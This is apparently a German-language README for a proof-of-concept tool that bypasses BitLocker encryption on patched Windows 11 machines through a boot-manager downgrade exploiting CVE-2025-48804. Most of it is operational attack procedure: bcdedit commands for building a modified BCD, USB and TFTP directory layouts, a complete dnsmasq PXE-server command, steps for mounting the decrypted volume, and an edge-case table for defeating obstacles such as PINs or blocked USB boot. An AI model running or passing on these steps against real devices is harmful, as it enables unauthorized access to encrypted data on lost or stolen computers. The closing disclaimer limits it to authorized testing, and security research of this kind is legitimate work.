
Downgrade-Angriff für CVE-2025-48804
Ein Proof of Concept für den Zugriff auf BitLocker-verschlüsselte Laufwerke in unter 5 Minuten auf vollständig gepatchten Windows 11-Rechnern durch einen Boot-Manager-Downgrade-Angriff, der die ursprünglich als CVE-2025-48804 dokumentierte SDI-Schwachstelle ausnutzt. Der Juli-2025-Patch behebt dies in bootmgfw.efi, sodass jedes vor dem Patch liegende bootmgfw.efi, das unter PCA 2011 signiert ist, für einen Downgrade-Angriff verwendet werden kann, sofern das Zielsystem diesem PCA vertraut.
Dieser PoC bietet zwei Bereitstellungsmethoden: USB-Boot (einfacher und empfohlen) und PXE-Boot. Theoretisch könnten Sie aber auch einfach eine SDI-Boot-Datei in eine der standardmäßig unverschlüsselten Partitionen (ESP & Recovery) kopieren und sich nicht mit USB oder PXE befassen – siehe Tabelle „Edge Cases“.
Diese Arbeit baut vollständig auf der Forschung von Microsoft STORM (Netanel Ben Simon und Alon Leviev) auf:
BitUnlocker: Leveraging Windows Recovery to Extract BitLocker Secrets
dnsmasq und einem Ethernet-Kabel für PXELegen Sie es in USB/sdi/ (für die USB-Methode) oder TFTP-root/sdi/ (für die PXE-Methode) ab.
Öffnen Sie auf dem Zielgerät eine WinRE-Eingabeaufforderung (halten Sie Umschalt gedrückt, während Sie auf Neu starten klicken, dann Problembehandlung > Eingabeaufforderung — klicken Sie auf „Dieses Laufwerk ignorieren“, wenn Sie nach einem BitLocker-Wiederherstellungsschlüssel gefragt werden, und klicken Sie auf „Neu starten“, wenn Ihnen mitgeteilt wird, dass die Eingabeaufforderung auf einem gesperrten Gerät nicht ausgeführt werden kann — und wenn sich die Eingabeaufforderung einfach nicht öffnet, verwenden Sie bei Bedarf Ihr eigenes WinPE). Schließen Sie einen USB-Stick an und führen Sie aus:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
Suchen Sie in der Ausgabe den Eintrag der Geräteoptionen, dessen Beschreibung „Windows Recovery“ lautet und der die Einträge ramdisksdidevice / ramdisksdipath enthält. Notieren Sie sich die GUID, dann:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
Platzieren Sie die resultierende BCD-Datei je nach Methode am entsprechenden Ort:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDFormatieren Sie einen USB-Stick als FAT32 und kopieren Sie den Inhalt des Verzeichnisses USB/ in sein Stammverzeichnis (nur dessen Inhalt, es sollte keinen „USB“-Ordner geben). Der USB-Stick sollte wie folgt aussehen:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-Patch-Boot-Manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Ihre modifizierte BCD
└── sdi/
└── boot_patched.sdi # Gepatchtes SDI mit benutzerdefiniertem WinRE
Stecken Sie den USB-Stick in das Zielgerät und lösen Sie einen UEFI-USB-Boot aus – entweder über WinRE (Gerät verwenden) oder durch Drücken der Hersteller-Bootmenü-Taste beim Einschalten (F12, F9 usw.). Wenn der USB-Stick nicht in der Liste der Boot-Optionen erscheint, suchen Sie nach einer „Boot from file“-Option im UEFI-Bootmenü und navigieren Sie dann zu EFI/Boot/bootx64.efi auf dem USB-Stick.
Das Verzeichnis TFTP-root/ ist wie folgt strukturiert:
TFTP-root/
├── bootmgfw.efi # Pre-Patch-Boot-Manager (PCA 2011)
├── Boot/
│ └── BCD # Ihre modifizierte BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Gleicher Pre-Patch-Boot-Manager
└── sdi/
└── boot_patched.sdi # Gepatchtes SDI mit benutzerdefiniertem WinRE
Verbinden Sie das Ziel über Ethernet mit Ihrem Linux-Rechner und starten Sie den PXE-Server:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
Lösen Sie den PXE-Boot auf dem Ziel aus – wählen Sie in WinRE Gerät verwenden > IPv4-Netzwerk oder drücken Sie die Hersteller-PXE-Boot-Taste.
Der Boot-Manager lädt die BCD und beginnt dann mit dem Herunterladen von boot_patched.sdi. Die SDI-Datei ist groß (~300 MB), daher dauert dies von USB einen Moment oder mehrere Minuten über TFTP. Während des Ladens sollte eine wiederherstellungsbezogene Meldung mit dem SDI-Pfad auf dem Zielbildschirm erscheinen.
Sobald die Übertragung abgeschlossen ist, sollte eine Eingabeaufforderung erscheinen, bei der das Betriebssystemvolume entschlüsselt und eingebunden ist (normalerweise C: oder E:). Falls es nicht automatisch eingebunden wurde oder Sie den Buchstaben nicht erraten möchten, führen Sie einfach diskpart -> sel vol X (das Volume, das wie Ihr verschlüsseltes Laufwerk aussieht) -> assign letter=C (oder etwas anderes) -> exit -> profit
Ich habe zwei Skripte in scripts/ beigefügt:
patch_sdi.py — erstellt eine modifizierte SDI-Datei aus einer boot.sdi und einer WinRE.wim-Dateiparse_sdi.py — analysiert eine SDI-Datei, um ihre Struktur und ihren Inhalt zu validierenDie in Releases bereitgestellte Datei boot_patched.sdi enthält eine modifizierte WinRE.wim, in der die Startanwendung cmd.exe ist.
bootmgfw.efi ausgeliefert. Um dies zu überprüfen, mounten Sie die EFI-Partition und untersuchen Sie die aktive Binärdatei: mountvol S: /s dann sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Beachten Sie, dass sich C:\Windows\Boot\EFI\bootmgfw.efi von der tatsächlich beim Booten verwendeten Datei unterscheiden kann – überprüfen Sie immer die Kopie auf der EFI-Partition.Microsoft STORM (Netanel Ben Simon und Alon Leviev) für die ursprüngliche BitUnlocker-Forschung und die Offenlegung der Schwachstelle.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Einzelheiten finden Sie in der Datei LICENSE.
Dieses Repository und alle seine Inhalte werden ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bereitgestellt. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die aus der Nutzung dieses Materials entstehen.
| Situation | Was passiert |
|---|
| BitLocker mit einer PIN konfiguriert, die Sie kennen | Bluescreen beim Booten – PIN blind eingeben (sorry, ich habe mich in diesem Repo nicht um BitLocker-Schriftarten gekümmert) und Enter drücken |
| Bluescreen, keine PIN | Das Ziel wurde wahrscheinlich auf CA 2023 migriert – drücken Sie Escape und lassen Sie die SDI-Übertragung trotzdem abschließen, aber das BitLocker-verschlüsselte Laufwerk wird am Ende höchstwahrscheinlich gesperrt sein |
| Nur USB-C/Thunderbolt | Verwenden Sie ein USB-C-Laufwerk oder einen USB-Ethernet-Adapter (für PXE) |
| TFTP-Datei nicht gefunden (außer Müll-Schriftartdateien, die uns nicht interessieren) | Dateinamen unterscheiden zwischen Groß- und Kleinschreibung – benennen Sie bootmgfw.efi so um, dass es dem entspricht, was das Ziel anfordert |
| Kein PXE- oder USB-Boot erlaubt | Überprüfen Sie die verfügbare Größe der ESP- und Recovery-Partitionen (diskpart -> list vol). Wenn in einer der Partitionen genügend Platz für die bereitgestellte Datei Boot.sdi (ca. 300 MB) vorhanden ist, legen Sie sie dort ab. Dann wird der Exploit etwas anders sein (aber immer noch genauso schnell), da Sie die BCD-Datei des Zielsystems direkt ändern müssen (bitte erstellen Sie ein Backup), um auf die unverschlüsselte Host-Partition zu verweisen (insbesondere den ramdisksdidevice-Eintrag in der BCD), und ersetzen Sie das bootmgfw.efi Ihres Ziels durch das im TFTP-Ordner dieses Repos bereitgestellte. Stellen Sie in diesem Fall sicher, dass der Boot-Manager Ihres Ziels von PCA 2011 signiert ist (der Exploit würde in diesem Fall ohnehin nicht funktionieren, überprüfen Sie das immer), sonst versetzen Sie das System in die BitLocker-Wiederherstellung. Wenn außerdem nicht genügend Platz für die von mir in diesem Repo bereitgestellte Datei Boot.sdi vorhanden ist, könnten Sie versuchen, eine eigene kleinere Version zu erstellen, es gibt definitiv einige Möglichkeiten, dies zu tun (siehe Abschnitt „Eigene SDI-Datei erstellen“ weiter unten) |